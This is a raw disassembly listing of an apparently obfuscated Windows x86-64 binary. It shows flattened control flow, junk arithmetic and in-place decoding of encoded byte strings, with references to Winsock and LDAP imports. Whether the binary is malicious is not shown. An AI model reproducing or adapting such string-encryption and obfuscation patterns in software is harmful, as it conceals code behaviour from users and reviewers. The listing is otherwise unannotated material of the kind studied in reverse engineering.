movabs rcx, 0x24eb417111b02c08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0x355ecd26a6ba092a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0x45d258dc3bc3e64c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x14008ff36
movabs rcx, 0x5645e491d0cdc36e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0x66b9704765d7a090
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0x772cfbfcfae17db2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008feb3
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14008fa0a
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
add r10b, dl
jmp 0x14008f80e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008fa4c
movabs rcx, 0xa6858a1ac630dc36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
inc rax
cmp r8, rax
jne 0x14008fa81
movabs rdx, 0x859e72af9c1d21f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090002
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008fac7
movabs rdx, 0x752ae6fa071344d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008fb10
movabs rdx, 0x64b75b44720967ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008fb43
movabs rdx, 0x5443cf8edcff8a8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008ff33
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008fb7f
movabs rdx, 0x43d043d947f5ad6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008f242
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008fbbe
movabs rdx, 0x335cb823b2ebd048
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f242
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008f80e
movabs rcx, 0x22e92c6e1de1f326
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x14008feb3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008fc20
movabs rcx, 0x79c84f2829494a51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x14008feb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008fc57
movabs rcx, 0x58e137bcff35900d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
dec rbx
inc rbx
jmp 0x14008f242
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008fc89
movabs rdx, 0x486dac076a2bb2eb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
jmp 0x14008ff33
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008f7af
movabs rcx, 0x2786949c4017f8a7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008fd12
movabs rdx, 0x4d0b14358c61b86c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008fd43
movabs rcx, 0x2c23fcca624dfe28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x140090002
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008fd84
movabs rcx, 0x1bb07114cd442106
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008f760
movabs rdx, 0xc96eb688e412cf5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008feb3
movabs rdx, 0xa8879f1db9ff1518
add rdx, rbx
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rbx + 0x748]
sub cl, al
add cl, 0x2c
lea r10d, [rcx + rcx]
jmp 0x14008ff33
movabs rdx, 0x9814136824f537f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140090002
movabs rcx, 0x4fa66760bac9850b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x140090035
movabs rcx, 0x81010a8179e71c71
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x17
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0xa1e821eca3fad6b5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xd
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0xc2cf3957ce0e90f9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x31
add r10b, dl
movabs rcx, 0x30c164f8848403a9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x61
add r11b, cl
mov byte [rbp + rbx + 0x748], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f242
movabs rcx, 0x49d682e22360581
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0x1510f3e3b73fe2a3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x75
add r10b, dl
movabs rcx, 0x204dd942ef7a2687
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4f
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x748], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0x25847f994c49bfc5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x63
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0x35f80b4ee1539ce7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x51
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
mov r11, rdx
movabs rcx, 0x466b9704765d7a09
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x3f
add r10b, cl
movabs rdx, 0xfda4d8d5a704965
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x3d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x748], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x87a087b28feb5ad4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x748], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
movabs rcx, 0x6752ae6fa071344d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1b
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
movabs rcx, 0x39fc3554c8f00eab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x14008f240
movabs rcx, 0x4a6fc10a5df9ebcd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
jmp 0x14008f230
lea rcx, [rbp + 0x16fbddc]
jmp 0x14009011a
lea rcx, [rbp + 0xeacf4b]
jmp 0x14009011a
lea rcx, [rbp + 0x748]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021aad0]
lea rcx, [rbp + 0x1e0]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x100]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x770], 0xba
mov byte [rbp + 0x771], 0x88
mov byte [rbp + 0x772], Ordinal_143
mov byte [rbp + 0x773], 0x86
mov byte [rbp + 0x774], 0x5a
mov byte [rbp + 0x775], 0xa1
mov byte [rbp + 0x776], 0x87
mov byte [rbp + 0x777], 0x81
mov byte [rbp + 0x778], 0x99
mov byte [rbp + 0x779], WSAStartup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x77a], xmm0
mov qword [rbp + 0x78a], rax
mov byte [rbp + 0x792], al
movabs r14, 0xdfdc133e3960445b
movabs r15, 0xfa7fed15c4eae905
movabs r12, 0xf15ec6ae51bd2ba7
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x84909333b996deaf
cmp rdi, 0x23
jae 0x140090ff3
movzx ebx, byte [rbp + rdi + 0x770]
mov r10, rbx
cmp r8, rdi
ja 0x140090fe7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140090253
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x37
jmp 0x1400902a0
je 0x140090f60
inc rax
cmp r8, rax
je 0x140090ef5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140090e99
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090e37
lea rax, [r9 + 4]
cmp r8, rax
je 0x140090e0e
lea rax, [r9 + 7]
cmp r8, rax
je 0x140090dbc
nop dword [rax]
cmp r9, rdi
ja 0x140090fdb
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400902d4
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7d
add r11b, dl
jmp 0x140090320
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090d98
lea rax, [r9 + 2]
cmp r8, rax
je 0x140090d6c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140090d49
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090d16
lea rax, [r9 + 8]
cmp r8, rax
je 0x140090ce2
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140090997
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140090973
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140090942
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140090914
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400908f0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400908c8
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140090895
lea rax, [r9 + 5]
cmp r8, rax
je 0x140090870
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140090849
lea rax, [r9 + 2]
cmp r8, rax
je 0x140090810
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140090330
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140090fb8
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140090f95
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140090527
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140090509
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400904eb
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400907b3
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140090756
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140090703
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400906d5
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140090330
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x400]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400906a1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140090679
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140090655
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140090622
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400905fa
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400905d6
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400905a8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009057c
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140090557
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140090330
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x42]
jmp 0x140090330
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x23
add r11b, dl
jmp 0x140090320
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
add r11b, dl
jmp 0x1400902a0
movabs rdx, 0xe83da046de8f6e49
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
inc r11b
add r11b, dl
movabs rcx, 0x84909333b996deaf
jmp 0x14009021e
movabs rdx, 0xfee099f1cb0222d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090ddb
movabs rcx, 0xf5bf738a57d4657a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
inc r9
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xec9e4d22e4a6a81c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xe37d26bb7178eabe
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x32
jmp 0x140090e56
movabs rdx, 0xda5c0053fe4b2d60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140090e81
movabs rcx, 0xd13ad9ec8b1d7002
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090202
movabs rdx, 0xc819b38517efb2a4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
jmp 0x140090ebc
movabs rdx, 0xbef88d1da4c1f546
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140090f18
movabs rcx, 0xb5d766b6319437e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
movabs rcx, 0x1f0486b391a1de7d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6b
mov byte [rbp + rdi + 0x770], r11b
inc rdi
jmp 0x140090202
movabs rdx, 0x15e3604c1e74211f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x27
add r11b, dl
cmp r9, 0x1000
jb 0x1400906f3
movabs rdx, 0xd19aa69bf21cb9ba
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x2c]
jmp 0x140090dde
movabs rdx, 0xcc239e4ab4663c1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x47
add r11b, dl
cmp r8, 0x2a
jae 0x140090c9b
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x140090bc3
movabs rdx, 0x764f26917253540e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x62
jmp 0x140090722
movabs rcx, 0x3a1137d3818a663
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4b
lea rax, [r8 + r9]
cmp rax, 5
je 0x140090cc3
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140090af8
movabs rdx, 0x9673135338f30fb3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x1b
jmp 0x140090775
movabs rdx, 0x3f28737558419a22
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
movabs rdx, 0x36074d0de513dcc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x140090f18
movabs rdx, 0x2ce626a671e61f66
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090ebc
movabs rcx, 0x23c5003efeb86208
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090202
movabs rdx, 0x1aa3d9d78b8aa4aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140090e81
movabs rdx, 0x1182b370185ce74c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
jmp 0x140090e56
movabs rdx, 0x8618d08a52f29ee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xff4066a132016c90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xf61f4039bed3af32
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
jmp 0x140090ddb
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400909c7
movabs rcx, 0x84909333b996deaf
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x37
jmp 0x1400907d1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090a0d
movabs rdx, 0xbfb8267c72c088b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090a52
movabs rdx, 0xdb1b99b2cc49c0d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090202
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090a88
movabs rcx, 0xf67f0ce925d2f8ea
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x140090202
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090ac6
movabs rdx, 0xffa033509900b648
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140090202
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400907d1
movabs rdx, 0x8c159b80c2e73a6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090ddb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090b29
movabs rdx, 0x9f9439baac20cd11
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x77
jmp 0x140090ddb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090b5f
movabs rcx, 0xb1d68689927c47cd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x65
dec rdi
inc rdi
jmp 0x140090202
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090b8f
movabs rcx, 0xc418d35878d7c289
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x41
jmp 0x140090e81
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090778
movabs rdx, 0xdf7c468ed260faa3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x75
add r11b, dl
jmp 0x140090f18
jne 0x140090c02
movabs rdx, 0x7f704cf8e581116c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090c33
movabs rdx, 0x91b299c7cbdc8c28
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x140090ebc
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140090c65
movabs rdx, 0xad160cfe2565c442
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090e56
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090725
movabs rcx, 0xb6373365989381a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xdabbcd03654a7718
add rdx, rdi
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x770]
sub cl, al
add cl, 0x2c
lea r11d, [rcx + rcx]
jmp 0x140090e56
movabs rcx, 0xe3dcf36ad8783476
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x3a]
jmp 0x140090ebf
movabs rcx, 0x32066ce145fbeca9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x61
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
movabs rcx, 0x16a2f9aaec72b48f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x17
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090202
movabs rcx, 0xd81d3437944f731
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x57
jmp 0x140090e81
movabs rcx, 0xf21e600d1fbbbf17
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5f
inc r9
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xe8fd39a5ac8e01b9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xf
jmp 0x140090ddb
movabs rdx, 0xd6baecd6c63286fd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
movabs rcx, 0x562b39cfabb39869
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x21
add cl, bl
mov byte [rbp + rdi + 0x770], cl
inc r9
dec rdi
inc rdi
jmp 0x140090202
movabs rcx, 0xc478a007dfd70c41
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x39
dec rdi
inc rdi
jmp 0x140090202
movabs rdx, 0xbb5779a06ca94ee3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x35
add r11b, dl
movabs rdx, 0x5f4c60371ee155c7
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x71
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x770], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090202
mov rbx, r10
movabs rdx, 0x9ff4066a132016c9
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7f
add r11b, dl
movabs rdx, 0x686d869e920f1325
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 3
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x770], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140090f18
movabs rcx, 0x96d2e0029ff2596b
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
